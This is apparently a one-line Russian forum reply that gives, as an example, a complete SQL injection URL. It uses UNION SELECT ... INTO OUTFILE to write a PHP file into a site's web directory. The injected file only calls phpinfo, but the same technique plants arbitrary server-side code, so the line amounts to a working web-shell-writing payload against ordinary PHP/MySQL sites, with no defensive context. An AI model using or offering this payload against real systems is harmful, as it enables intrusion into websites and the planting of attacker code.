да например http://site.com/index.php?id=1'+union+select+1,2,3,'<? phpinfo();?>'+into+outfile+'/full/path/to/site/name.php'/*